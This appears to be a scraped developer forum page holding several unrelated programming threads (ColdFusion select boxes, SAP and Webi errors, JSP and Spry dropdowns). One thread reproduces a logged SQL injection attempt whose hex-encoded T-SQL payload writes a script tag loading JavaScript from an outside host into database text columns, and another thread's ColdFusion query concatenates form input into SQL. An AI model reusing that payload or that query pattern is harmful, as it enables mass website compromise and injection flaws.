Pre-populate select box causing query error

Referring to this thread
http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:56335#305025
I wanted to pass a value to a dynamic select box (in a url),
so I changed this:
<option value="'#SITEID#'" selected=#sid#>
to this:
<option value="#SITEID#"<cfif SITEID EQ sid>
selected="selected"</cfif>>
and now get "Error Executing Database Query...... Too few
parameters. Expected 1."
The query:
SELECT <CFLOOP list="#form.parameters#"
index="i">sitedata.#i#,</CFLOOP>
site.coordinates_n, site.coordinates_w,
sitedata.monitordate, site.name,
site.siteid
FROM site INNER JOIN sitedata
ON site.siteid = sitedata.siteid
WHERE sitedata.SITEID IS NOT NULL
<CFIF form.siteid gt "">AND sitedata.SITEID in
(#PreserveSingleQuotes(form.siteid)#)</CFIF>
<CFIF startdate gt "" AND enddate gt "">AND
sitedata.monitordate >=
#startdate# and sitedata.monitordate <=
#enddate#</CFIF>
<CFIF startdate gt "" AND enddate is "">AND
sitedata.monitordate >=
#startdate#</CFIF>
ORDER BY sitedata.monitordate, sitedata.siteid
I admit I'm not a CF or SQL expert! I'm guessing it has
something to do
with the cfloop. Hoping this is something simple I've
overlooked...
TIA

CFQUERYPARAM caught the following attempt at SQL Injection.
Would someone please explain what they were trying to do?
best, paul
On Tue, Jul 22, 2008 at 7:17 AM, <[email protected]>
wrote:
> cgi.content_length
> cgi.http_accept*/*
> cgi.http_referer
> cgi.http_user_agentMozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1)
> cgi.path_info/index.cfm
>
cgi.path_translatedD:\sites\www.lazydazers.com\html\index.cfm
>
cgi.query_stringfa=ShowItem&ID=2168;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415 245204054207661726368617228323535292C40432076617263686172283430303029204445434C41524520546 1626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D6520667 26F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69642 0616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D333 5206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437 572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404 3205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205 B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736 372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3 C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637 2697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C2 12D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4 04320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757 2736F72%20AS%20CHAR(4000));EXEC(@S);
> cgi.remote_addr220.191.251.211
> cgi.remote_host220.191.251.211
> cgi.remote_ident
> cgi.remote_user
> cgi.server_port80
> cfcatch.detail
> cfcatch.messageInvalid data 2168;DECLARE @S
CHAR(4000);SET
>
@S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343030302 9204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616 D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726 520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7 220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F5 0454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7 220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786 5632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223 E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A732 23E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3 C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223 E3C2...
> for CFSQLTYPE CF_SQL_INTEGER.
> cfcatch.typeDatabase
> server.coldfusion.productnameColdFusion Server
> server.coldfusion.productversion7,0,2,142559
> server.os.nameWindows 2003
> server.os.version5.2
> server.os.buildnumber

Similar Messages

  • How to populate select boxes in custom work flows?

    We are trying to create a workflow that allows users to select a few item details from a select box inside the form. I created the select box but I can't figure out how to populate it with elements. I've been reluctant to post here because this question seems so straight forward but I haven't been able to find the answer and don't want waste more time searching for this answer. Please help!
    Thanks,
    Richard

    Sorry for the trouble, I found the answer. I was looking in all the wrong places. Thanks anyway!
    Richard

  • Dynamic SELECT statement causing CX_SY_DYNAMIC_OSQL_SEMANTICS error.

    Hello Gurus,
    We have a dynamic SELECT statement in our BW Update Rules where the the Selection Fields are populated at run-time and so are the look-up target and also the WHERE clause. The code basically looks like below:
              SELECT (lt_select_flds)
                FROM (lf_tab_name)
                INTO CORRESPONDING FIELDS OF TABLE <lt_data_tab>
                FOR ALL ENTRIES IN <lt_source_data>
                WHERE (lf_where).
    In this instance, we are selecting 5 fields from Customer Master Data and the WHERE condition for this instance of the run is as below:
    WHERE: DIVISION = <lt_source_data>-DIVISION AND DISTR_CHAN = <lt_source_data>-DISTR_CHAN AND SALESORG = <lt_source_data>-SALESORG AND CUST_SALES = <lt_source_data>-SOLD_TO AND OBJVERS = 'A'
    This code was working fine till yesterday when we encountered serious performance problems and the Basis team had to do some changes at the DB level [Oracle]. Ever since, when we execute our data load, we get the CX_SY_DYNAMIC_OSQL_SEMANTICS.
    Is setting changes at the Oracle level cause issues with how the data is being read at the DB. If yes, can you suggest what can we do to this code to get is working correctly [in case Basis can't revert back their changes]?
    Would appreciate any help we can get here.

    You don't understand - this error comes up when we run specific BEx queries.  It was working yesterday, but today it is not.  Our support package did not change from yesterday.  We did not apply any OSSnotes.
    We are however doing pre-prepare on our Prod system.
    The temporary table is used to store SIDs for use in the join.  the table exists in the dictionary, but not at an Oracle level.

  • Hide Operators select box in Query Panel Advanced mode

    Hl All,
    I need to Hide all operators in the select Dropdown in the View Query Panel Advanced mode.
    Please help me.
    Thanks,
    Balaji Mucheli.

    Hi Balaji,
    Use the below code for operator hide
         <CompOper Name="Equals" Oper="=" ToDo="-1"></CompOper>
        <CompOper Name="Does not Equal" Oper="&lt;&gt;" ToDo="-1"></CompOper>
        <CompOper Name="Less than" Oper="&lt;" ToDo="-1"></CompOper>
        <CompOper Name="Less than or equal to" Oper="&lt;=" ToDo="-1"></CompOper>
        <CompOper Name="Greater than" Oper="&gt;" ToDo="-1"></CompOper>
        <CompOper Name="Greater than or equal to" Oper="&gt;=" ToDo="-1"></CompOper>
        <CompOper Name="Name" Oper="BETWEEN" ToDo="-1"  MinCardinality="0"  MaxCardinality="0"/> 
        <CompOper Name="Name"  Oper="NOTBETWEEN"  ToDo="-1"  MinCardinality="0"  MaxCardinality="0"/>
        <CompOper Name="Name" Oper="ISBLANK" ToDo="-1"  MinCardinality="0"  MaxCardinality="0"/> 
        <CompOper Name="Name"  Oper="ISNOTBLANK"  ToDo="-1"  MinCardinality="0"  MaxCardinality="0"/>
    Thanks
    Prabhat

  • Webi 4.1 SSO - Error at the selection of BEX query

    Hi experts,
    we have configured the SSO following the step described in the manual, but when we tried to select a BEX Query by OLAP connection in Webi, occur this error:
    Java.util.concurrent.ExecutionException: com.businessobjects.sdk.core.server.CommunicationException$UnexpectedServerException: [[error.openSapBwBrowsingSessionFailed] 0] <<?xml version="1.0" encoding="UTF-8" standalone="yes"?><ConnectionString>
       <Properties>
          <Initial Catalog>ZIS_M_01</Initial Catalog>
          <Language>en_US</Language>
          <Data Source>172.31.240.13</Data Source>
          <Cube Type>Query</Cube Type>
          <SaveLanguage>true</SaveLanguage>
          <Initial Cube>ZZIS_M_01_Q020</Initial Cube>
          <TargetProvider>SAPNETWEAVER7X</TargetProvider>
          <NetworkLayer>SAPBW_BICS</NetworkLayer>
          <Authentication Mode>2</Authentication Mode>
       </Properties>
       <ExtendedProperties>
          <JCO_ASHOST>172.31.240.13</JCO_ASHOST>
          <SapLoginMode>0</SapLoginMode>
          <JCO_R3NAME>DWZ</JCO_R3NAME>
          <JCO_CLIENT>001</JCO_CLIENT>
          <JCO_SYSNR>01</JCO_SYSNR>
          <JCO_LANG>EN</JCO_LANG>
       </ExtendedProperties>
    </ConnectionString>>
      at java.util.concurrent.FutureTask.report(Unknown Source)
      at java.util.concurrent.FutureTask.get(Unknown Source)
      at javax.swing.SwingWorker.get(Unknown Source)
      at com.sap.webi.ui.dialog.bex.OpenBexPanel.endFetchNode(OpenBexPanel.java:825)
      at com.sap.webi.ui.dialog.bex.OpenBexPanel.propertyChange(OpenBexPanel.java:1036)
      at java.beans.PropertyChangeSupport.fire(Unknown Source)
      at java.beans.PropertyChangeSupport.firePropertyChange(Unknown Source)
      at javax.swing.SwingWorker$SwingWorkerPropertyChangeSupport.firePropertyChange(Unknown Source)
      at javax.swing.SwingWorker$SwingWorkerPropertyChangeSupport$1.run(Unknown Source)
      at javax.swing.SwingWorker$DoSubmitAccumulativeRunnable.run(Unknown Source)
      at sun.swing.AccumulativeRunnable.run(Unknown Source)
      at javax.swing.SwingWorker$DoSubmitAccumulativeRunnable.actionPerformed(Unknown Source)
      at javax.swing.Timer.fireActionPerformed(Unknown Source)
      at javax.swing.Timer$DoPostEvent.run(Unknown Source)
      at java.awt.event.InvocationEvent.dispatch(Unknown Source)
      at java.awt.EventQueue.dispatchEventImpl(Unknown Source)
      at java.awt.EventQueue.access$500(Unknown Source)
      at java.awt.EventQueue$3.run(Unknown Source)
      at java.awt.EventQueue$3.run(Unknown Source)
      at java.security.AccessController.doPrivileged(Native Method)
      at java.security.ProtectionDomain$1.doIntersectionPrivilege(Unknown Source)
      at java.awt.EventQueue.dispatchEvent(Unknown Source)
      at java.awt.EventDispatchThread.pumpOneEventForFilters(Unknown Source)
      at java.awt.EventDispatchThread.pumpEventsForFilter(Unknown Source)
      at java.awt.EventDispatchThread.pumpEventsForFilter(Unknown Source)
      at java.awt.WaitDispatchSupport$2.run(Unknown Source)
      at java.awt.WaitDispatchSupport$4.run(Unknown Source)
      at java.awt.WaitDispatchSupport$4.run(Unknown Source)
      at java.security.AccessController.doPrivileged(Native Method)
      at java.awt.WaitDispatchSupport.enter(Unknown Source)
      at java.awt.Dialog.show(Unknown Source)
      at com.jidesoft.dialog.StandardDialog.show(Unknown Source)
      at java.awt.Component.show(Unknown Source)
      at java.awt.Component.setVisible(Unknown Source)
      at java.awt.Window.setVisible(Unknown Source)
      at java.awt.Dialog.setVisible(Unknown Source)
      at com.sap.webi.toolkit.ui.dialog.GenericDialog.setVisible(GenericDialog.java:128)
      at com.sap.webi.ui.dialog.bex.OpenBexDialog.setVisible(OpenBexDialog.java:115)
      at com.sap.webi.ui.data.BexQueryDataSourceProvider.createDataSourceInfo(BexQueryDataSourceProvider.java:95)
      at com.sap.webi.ui.context.managers.DataManager.createDataSourceInfo(DataManager.java:383)
      at com.sap.webi.ui.tasks.workflows.CreateDataSourceInfoUITask.doneProcess(CreateDataSourceInfoUITask.java:127)
      at com.sap.webi.toolkit.ui.tasks.WebITask$PrivateWorker.done(WebITask.java:378)
      at javax.swing.SwingWorker$5.run(Unknown Source)
      at javax.swing.SwingWorker$DoSubmitAccumulativeRunnable.run(Unknown Source)
      at sun.swing.AccumulativeRunnable.run(Unknown Source)
      at javax.swing.SwingWorker$DoSubmitAccumulativeRunnable.actionPerformed(Unknown Source)
      at javax.swing.Timer.fireActionPerformed(Unknown Source)
      at javax.swing.Timer$DoPostEvent.run(Unknown Source)
      at java.awt.event.InvocationEvent.dispatch(Unknown Source)
      at java.awt.EventQueue.dispatchEventImpl(Unknown Source)
      at java.awt.EventQueue.access$500(Unknown Source)
      at java.awt.EventQueue$3.run(Unknown Source)
      at java.awt.EventQueue$3.run(Unknown Source)
      at java.security.AccessController.doPrivileged(Native Method)
      at java.security.ProtectionDomain$1.doIntersectionPrivilege(Unknown Source)
      at java.awt.EventQueue.dispatchEvent(Unknown Source)
      at java.awt.EventDispatchThread.pumpOneEventForFilters(Unknown Source)
      at java.awt.EventDispatchThread.pumpEventsForFilter(Unknown Source)
      at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown Source)
      at java.awt.EventDispatchThread.pumpEvents(Unknown Source)
      at java.awt.EventDispatchThread.pumpEvents(Unknown Source)
      at java.awt.EventDispatchThread.run(Unknown Source)
    Caused by: com.businessobjects.sdk.core.server.CommunicationException$UnexpectedServerException: [[error.openSapBwBrowsingSessionFailed] 0] <<?xml version="1.0" encoding="UTF-8" standalone="yes"?><ConnectionString>
       <Properties>
          <Initial Catalog>ZIS_M_01</Initial Catalog>
          <Language>en_US</Language>
          <Data Source>172.31.240.13</Data Source>
          <Cube Type>Query</Cube Type>
          <SaveLanguage>true</SaveLanguage>
          <Initial Cube>ZZIS_M_01_Q020</Initial Cube>
          <TargetProvider>SAPNETWEAVER7X</TargetProvider>
          <NetworkLayer>SAPBW_BICS</NetworkLayer>
          <Authentication Mode>2</Authentication Mode>
       </Properties>
       <ExtendedProperties>
          <JCO_ASHOST>172.31.240.13</JCO_ASHOST>
          <SapLoginMode>0</SapLoginMode>
          <JCO_R3NAME>DWZ</JCO_R3NAME>
          <JCO_CLIENT>001</JCO_CLIENT>
          <JCO_SYSNR>01</JCO_SYSNR>
          <JCO_LANG>EN</JCO_LANG>
       </ExtendedProperties>
    </ConnectionString>>
      at com.businessobjects.sdk.core.exception.ExceptionBuilder.make(ExceptionBuilder.java:152)
      at com.businessobjects.sdk.core.exception.ExceptionBuilder.make(ExceptionBuilder.java:109)
      at com.sap.sl.sdk.requests.doit.DoItRequestHandler.afterProcessing(DoItRequestHandler.java:54)
      at com.businessobjects.sdk.core.server.internal.AbstractServer.processIt(AbstractServer.java:178)
      at com.businessobjects.sdk.core.server.internal.AbstractServer.process(AbstractServer.java:133)
      at com.businessobjects.sdk.core.server.internal.InstanceServer.process(InstanceServer.java:96)
      at com.sap.sl.sdk.olap.sapbw.service.SapBwBrowsingServiceImpl.processDoIt(SapBwBrowsingServiceImpl.java:249)
      at com.sap.sl.sdk.olap.sapbw.service.SapBwBrowsingServiceImpl.processInvocation(SapBwBrowsingServiceImpl.java:207)
      at com.sap.sl.sdk.olap.sapbw.service.SapBwBrowsingServiceImpl.processOpenSecureSession(SapBwBrowsingServiceImpl.java:190)
      at com.sap.sl.sdk.olap.sapbw.service.SapBwBrowsingServiceImpl.openSession(SapBwBrowsingServiceImpl.java:72)
      at com.sap.webi.ui.dialog.bex.ExpandRepositoryItemWorker.getBrowsingSession(ExpandRepositoryItemWorker.java:66)
      at com.sap.webi.ui.dialog.bex.ExpandRepositoryItemWorker.doInBackground(ExpandRepositoryItemWorker.java:41)
      at com.sap.webi.ui.dialog.bex.ExpandRepositoryItemWorker.doInBackground(ExpandRepositoryItemWorker.java:16)
      at javax.swing.SwingWorker$1.call(Unknown Source)
      at java.util.concurrent.FutureTask.run(Unknown Source)
      at javax.swing.SwingWorker.run(Unknown Source)
      at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
      at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
      at java.lang.Thread.run(Unknown Source)
    Caused by: com.businessobjects.sdk.core.server.ServerException: [[error.openSapBwBrowsingSessionFailed] 0] <<?xml version="1.0" encoding="UTF-8" standalone="yes"?><ConnectionString>
       <Properties>
          <Initial Catalog>ZIS_M_01</Initial Catalog>
          <Language>en_US</Language>
          <Data Source>172.31.240.13</Data Source>
          <Cube Type>Query</Cube Type>
          <SaveLanguage>true</SaveLanguage>
          <Initial Cube>ZZIS_M_01_Q020</Initial Cube>
          <>SAPNETWEAVER7X</TargetProvider>
          <NetworkLayer>SAPBW_BICS</NetworkLayer>
          <Authentication Mode>2</Authentication Mode>
       </Properties>
       <ExtendedProperties>
          <JCO_ASHOST>172.31.240.13</JCO_ASHOST>
          <SapLoginMode>0</SapLoginMode>
          <JCO_R3NAME>DWZ</JCO_R3NAME>
          <JCO_CLIENT>001</JCO_CLIENT>
          <JCO_SYSNR>01</JCO_SYSNR>
          <JCO_LANG>EN</JCO_LANG>
       </ExtendedProperties>
    </ConnectionString>>
      at com.sap.sl.sdk.requests.doit.DoItRequestHandler.afterProcessing(DoItRequestHandler.java:50)
      ... 16 more
    The SSO works correctly on Analysis for OLAP.
    The Authentication used is the SAP authentication.
    Thanks.
    Andrea

    That's what we're doing in our 4.1 instance as well.
    After a lot of troubleshooting, it looks like our problem is related to the SSO set up itself.  We set the OLAP Connection to Pre-defined, entered the SAP credentials of one of our developers, then saved the connection.  We were able to refresh existing reports and create new reports without any issues.  We changed the OLAP connection back to SSO and received the same error message as in OP when we tried to select a BEx query.
    I'm going to go through the entire SSO set up again.  There was a BW hotfix applied throughout our environments, thinking it might have messed something up. 

  • How to populate optional items in SELECT BOX

    // REGISTRATION.JSP//
    <%@ page import="java.util.Enumeration" %>
    <%@ page import="java.util.Vector" %>
    <%@ page import="java.util.*" %>
    <%@ page import="java.lang.*" %>
    <%@ page import="java.sql.*" %>
    <%@ page import="beans.register2" %>
    <jsp:useBean id="registerbn" scope= "session" class="beans.register2" />
    <% String base = (String) session.getAttribute("base");
    registerbn.setDburl((String)session.getAttribute("dbUrl"));
    registerbn.setDbuser((String)session.getAttribute("dbUserName"));
    registerbn.setDbpasswd((String)session.getAttribute("dbPassword"));
    System.out.println("Inside jsp - setMembers of promotion successful");
    registerbn.setMembers();
    System.out.println("after setting");
    %>
    <%
    String action=request.getParameter("action");
    %>
    <HTML>
    <HEAD>
    <TITLE> TIFR INTRANET </TITLE>
    </HEAD>
    <HEAD>
    <script language="_JavaScript1.2">
    function isIdcode()
    / validating
    function isUser()
    / validating
    function isEmail()
    / validating
    function isPassword()
    / validating
    function isDob()
    / validating
    </javascript> -----java script ends here----------------
    <TD align="top" valign="top"><jsp:include page="menu.jsp" flush="true"/>
    </td>
    <td>
    <table cellpadding="2" cellspacing="3" width="40%">
    <form method="post" action="./beans.register2">
    Fisrt question: we have creaated "register2.java "as beans class for setting the values in to the data base.
    is it correct ?
    <td width="40" align="center"
    <font face="arial" size="5" align="right">
    <b>
    Registration <hr> </hr>
    </b>
    </font>
    <br>
    </td>
    <tr valign="center" width="80%">
    <td width="40%">
    <b><font face="Arial" size="2">IdCode </b> </font>
    </td>
    <td width="40%">
    <b><font face="Arial" size="2">
    <input type="text" name="idcode" size="6" style="border-style:solid" value="">
    </font></b>
    </td>
    </tr>
    <tr width="80%">
    <td width="40%">
    <b><font face="Arial" size="2">User </font></B></td>
    <td width="40%">
    <input type="text" name="user" size="12" style="border-style: solid" value="">
    </font></b></td>
    </tr>
    <tr width="80%">
    <td width="40%">
    <b><font face="Arial" size="2">Password </font></B></td>
    <td width="40%">
    <input type="password" name="password" size="25" tabindex="20" style="border-style: solid" width="12" value="">
    </font></b></td>
    </tr>
    <tr width="80%">
    <td width="40%">
    <b><font face="Arial" size="2">Section code </font></b></td>
    <td width="40%">
    <select size="1" name="section_code" tabindex="9"
    style="border-style: solid">
    <%@ include file="section.txt" %>
    Secound question:
    // inclided simple .txt file here
    // what if new item get enlisted in the database , we have to countinuesly update this .txt file ? so we head for creating simple beans class for retriving values
    then displaying in the SELECT box
    // we dont know how to do it.
    //other html tags //
    ----------------at end -----------------
    <input type="Submit" value="Submit" name="B1" > </td>
    <td width="40%">
    <input type="reset" value="Reset" name="B2"></td>
    <%
    String action=request.getParameter("Submit");
    if(action!=null && action.equals("Submit"))
    try{
    String idcode=request.getParameter("idcode");
    String user=request.getParameter("user");
    String password=request.getParameter("password");
    String seccode=request.getParameter("section_code");
    String Category=request.getParameter("Category");
    String BCategory=request.getParameter("BCategory");
    String Bheads=request.getParameter("Bheads");
    String OtherCategory=request.getParameter("OtherCategory");
    String email=request.getParameter("email");
    String day=request.getParameter("day");
    String month=request.getParameter("month");
    String year=request.getParameter("year");
    String Dob=day+"/"+month+"/"+year;
    String day1=request.getParameter("day1");
    String month1=request.getParameter("month1");
    String year1=request.getParameter("year1");
    String Doj=day1+"/"+month1+"/"+year1;
    registerbn.setIdcode("idcode");
    registerbn.setUser("user");
    registerbn.setPassword("password");
    registerbn.setSec_code("seccode");
    registerbn.setCategory("Category");
    registerbn.setBut_Category("BCategory");
    registerbn.setBut_heada("Bheads");
    registerbn.setOther_Category("OtherCategory");
    registerbn.setemail("email");
    registerbn.setDob("Dob");
    registerbn.setDoj("Doj");
    registerbn.saveData();
    /// saveData() is the one method where we are wrintn query to insert in to database//
    }catch(Exception ex)
    out.println("ERROR :has occured ");
    %>
    </table>
    </table>
    </table>
    </form>
    </td>
    </tr>
    <jsp include page="Footer.jsp" flush="true"/>

    To do that you have to get your recordset, and insert option tags into a while cicle. Something like this:
    <select name="mySelectName">
    <%while(myRecordSet.next()){%>
    <option value="<%=myRecordset.getObject(myField1)>"><%=myRecordset.getObject(myField2)%></option>
    <%}%>
    </select>

  • How-To populate SELECT LIST default value from SQL Query

    OK, I've done my homework, and did not find my answer in the Forum, so here it is.
    I have a Page that displays fields from a SQL Query. The Page also has below that radiogroups, checkboxes, and Select Lists to allow the user to change values in the fields that are displayed at the top of the Region. I am able to pre-populate the radiogroups and checkboxes by performing a SELECT in the 'Source value or expression' of the Source area of the Page Item.
    However, I am unable to do the same for the Select List fields. Their default value ends up being the first value in the LOV ('-- None --' for NULL values). Source Used: Only when current value in session state is null. Source Type: SQL Query. Also, when I first go into the Page when running it, and check the Session State values, they are all null, so I don't understand why the field is not populated by the SQL Query statement as the radiogroups and checkboxes are.
    Any suggestions??? I've tried all sorts of combinations.

    Thank you for the suggestion.
    I had considered that, but cannot do so, because we are using Oracle Application Express more for development than for data containment.
    We have all our data in an Oracle 10.g DB which is separate from the OAEX server, and the OAEX app will reference that data via VIEWs and DB LINKs. We are doing so primarily as an added data security layer, where the data is housed separate from the app, in case the Web site is ever compromised. The data that can be viewed is restricted to a subset of the actual data that is available.
    Since the data is on a separate server, (I assume) we will not be able to set the source type to Database column, because (I asume) that is dependent upon the data being housed by the OAEX server.
    That still leaves me with having to populate the field with a SELECT statement from the Oracle DB. This unfortuneately is almost a show-stopper for me because of down-stream processing data requirements. Have not been able to come up with contingencies yet.

  • Help with building a select box from a query?

    New thread from a topic I started yesterday. From the responses, and a search of other threads, I realized that I was way off base:-) So, I went back and verified that my TomCat setup was alright. After a few tweeks I verified that I could display the index page and successfully run all of the example servlets and jsps. I then built a simple login.jsp and an associated bean to verify a user id and password on an ldap db. That works good. Next, I built a bean which runs a query against the same ldap db and returns a list of last names. What I want to do is use the last names in the bean to populate my select box. At first I was trying to build the html with the list from my bean, i quickly realized you guys didn't like that approach. So, can someone explain, in some detail (because I'm really dense), just how I can return the values from my bean and build a select box with those values.
    regards,
    Mat
    BTW Gone to see Lord of The Rings...back in about 5 hours :-)

    Just in general, I prefer knowing how to do things the "old-fashioned way" first before using other tools, because if it comes time for you to take over someone else's code, you'll probably find that they did it the old way and you'll want to understand that. Further, the new ways are based on the old ways for many things.
    Struts is a good system, but unless you have some understanding of the basics, it's probably going to be harder to understand it. If you have the time, I'd say at least go thru one book on JSP/servlets (which should be all about the basics, maybe a slightly older book) and go thru the examples in it.

  • Pre-selecting from Spry Data Select Box

    Hi
    I am new here so sorry if this is in the wrong section/format
    I am using Two Spry XML Datasets to populate 2 dropdown boxes with  vehicle makes and the connected model names (there are other fields but for the sake of clarity I will only show these 2). The XML is dynamically generated by PHP/MySQL and works great for initially creating records. The problem I have is when I want to edit my record and so pre-select the data in the dropdown select box. The first box is easy and works fine but the second box only updates when the first is updated using the 'onchange' and I cannot get it to update on load. I can get it to update 'onclick' or other events but I need it to  update the second box when the page loads. Any ideas? I am sure there is a simple solution staring me in the face, but I just can't see it
    My code is listed below. I have cut out all the unnecessary code to make it more clear (hopefully)
    <script src="../../SpryAssets/xpath.js" type="text/javascript"></script>
    <script src="../../SpryAssets/SpryData.js" type="text/javascript"></script>
    <script type="text/javascript">
    var dsmakes = new Spry.Data.XMLDataSet("xmlgenmake.php", "vehicle/makes");
    var dsmodel = new Spry.Data.XMLDataSet("xmlgenmodel.php?xmlmake={dsmakes::make}", "makes/models/model");
    </script>
    </head>
    <body>
    <form action="<?php echo $editFormAction; ?>" method="post" name="form1" id="form1">
    <span spry:region="dsmakes" id="makeSelector">
      <select spry:repeatchildren="dsmakes" id="makeSelect" name="make" onchange="document.forms[0].modelSelect.disabled = true; dsmakes.setCurrentRowNumber(this.selectedIndex);">
        <option spry:if="'{dsmakes::make}' == '<?php echo $row_Recordset1['make']; ?>'" value="{dsmakes::make}" selected="selected">{dsmakes::make}</option>
        <option spry:if="'{dsmakes::make}' != '<?php echo $row_Recordset1['make']; ?>'" value="{dsmakes::make}">{dsmakes::make}</option>
      </select>
    </span><span spry:region="dsmodel" id="modelSelector">
    <select spry:repeatchildren="dsmodel" id="modelSelect" name="model">
      <option spry:if="'{dsmodel::model}' == '<?php echo $row_Recordset1['model']; ?>'" value="{dsmodel::model}" selected="selected">{dsmodel::model}</option>
      <option spry:if="'{dsmodel::model}' != '<?php echo $row_Recordset1['model']; ?>'" value="{dsmodel::model}">{dsmodel::model}</option>
    </select>
    </span>
    </body>
    </html>

    Sorry for not being clear -
    The first Spry Select box populates with the Vehicle Makes and selects the stored make from the DB. The second box is supposed to populate with the corresponding Vehicle Models (corresponding to the Vehicle Make in box one) but it initially only populates with the first makes data (not the selected one) if I add:    onfocus="dsmakes.setCurrentRowNumber(this.selectedIndex);     to the first box it works as it should as soon as it receives focus and the second box updates and selects the correct model.
    I have tried adding
    Spry.Utils.addLoadListener(InitPage);
         function InitPage() {
           dsmakes.setCurrentRowNumber(makeSelect.selectedIndex);
    but I cannot get the second box to update without clicking on the first
    It seems there should be s simple solution to this but I cannot see it.

  • Query Causes ASP Error

    This query works great within MS Access itself but causes and
    error when used in an ASP application ...
    DateAdd("m",-2,EndDate()) >= Date()
    Someone suggested there is a problem with the quote marks in
    ASP. Would appreciate any help to resolve this. The original thread
    is below. Thanks.
    Newsgroup User has posted a message entitled Re: EndDate.
    Message Posted on: Monday January 22,2007 05:01:27 PM
    You use a DateAdd function to get this, something like
    DateAdd("m",-2,EndDate()) >= Date()
    Paul Whitham
    Certified Dreamweaver MX2004 Professional
    Adobe Community Expert - Dreamweaver
    Valleybiz Internet Design
    www.valleybiz.net
    "Tiggerick" <[email protected]> wrote in
    message
    news:ep2nej$oar$[email protected]..
    > Our current function is ... EndDate() >= Date() ...
    which is used to
    > screen out
    > any results prior to today's date.
    > We would like to modify this so that instead of today's
    date we would use
    > the
    > date 2 months prior to today's date, so that, for
    example the EndDate() on
    > 1/22/07 would be 11/22/06.
    > Would appreciate help on the format for this.
    > Thanks in advance!
    > Rick
    >
    You can view the message at
    http://www.adobe.com/cfusion/webforums/forum/messageview.cfm?catid=189&threadid=1235135&fo rumid=12.
    Text
    quote marks
    Text

    The quotes around m are the problem here. Double them up to
    send as-is to
    Access (""m"" instead of "m").
    "Tiggerick" <[email protected]> wrote in
    message
    news:er00oi$duu$[email protected]..
    > Here is the complete SQL statement that is causing a
    problem. Dreamweaver
    > is
    > showing the m inside the quotes in black if that means
    anything ...
    >
    > Recordset1.Source = "SELECT * FROM Events WHERE
    EventType = '" +
    > Replace(Recordset1__MMColParam, "'", "''") + "' AND
    EndDate >=
    > DateAdd("m", -2,
    > Date()) ORDER BY StartDate ASC"
    >

  • Populate Form using select box..

    I know someone has to be doing this but I haven't found them
    yet. I want my user to select a company from my select box and have
    the form popultate with its related information... WITHOUT
    refreshing the page. I looking for examples so if anyone has one I
    would greatly appreciate it.
    werd...
    Calvin Click

    Dan Bracuk wrote:
    > I think you can do it with cold fusion and javascript
    only. The concept would
    > be.
    >
    > Step 1 - run a query that selects all the data you will
    need to populate the
    > form fields.
    >
    > Step 2 - convert each query column to a js array.
    >
    > Step 3 - write a js function so that when the nth item
    is selected in the drop
    > down, the nth item from the other arrays go into the
    form fields.
    >
    > It's a similar concept to related selects.
    >
    This is definitely a possible solution, if it is acceptable
    to download
    all those JS arrays.
    This greatly depends on how large they are and what type of
    network
    connections are being used. I.E. one can get away with more
    for an
    application running on a corporate intranet with high
    capacity network
    connections as apposed to a application that must work
    acceptably for
    the poor soul in the backwoods home that still relies on a
    56K modem
    over copper phone lines to access the internet.
    Yes those people still exist, and sometime applications need
    to be
    written with them in mind.

  • How to Populate values dynamically in Select Box.

    Hi All,
    I have few select boxes in my webdynpro application. Right now I am populating them using Harcoded values in the Dictionary. But I dont want to harcode the values in the dictionary, i want pull the values from database tables or  text files of EP KM. Just let me know which is the better way to populate the select box without hardcoding & why ?
    Thanks in Advance.
    Regards,
    Aditya Metukul

    Hi Aditya,
    Getting values from KM and database is possible
    It depends on your requirement
    ie if the dropdown should contain details of documents from KM or it should display the details in a table
    if it is oracle table see this link
    Webdynpro and Oracle
    if you want to get data from km see this tutorial
    https://www.sdn.sap.com/irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs/library/webas/webdynpro/tutorial on using knowledge management functions in web dynpro - 26.htm
    Hope this helps you
    Regards
    Rohit
    Regards
    Rohit

  • Populate two additional select boxes from main box...

    hey all -
    i am new at most of this, so please bare with me.
    I am trying to go from one box to the next (twice over), and am having difficulty getting to the third box.
    I have the original box "select1" and it populates "select two" just fine, but i do not have the third population....looking for help in getting a third box.
    I would like box one to populate box two, from the selection in box two, i would like to populate box three, and have that as a selection as well.
    here is what i have so far...
    <script>
    function dropDownChanged(dd)
         if(eval('typeof(' + dd.name.replace(/:/g, "_") + '_children) == \'undefined\'')) return;
         var thisDd;
         if(document.all)
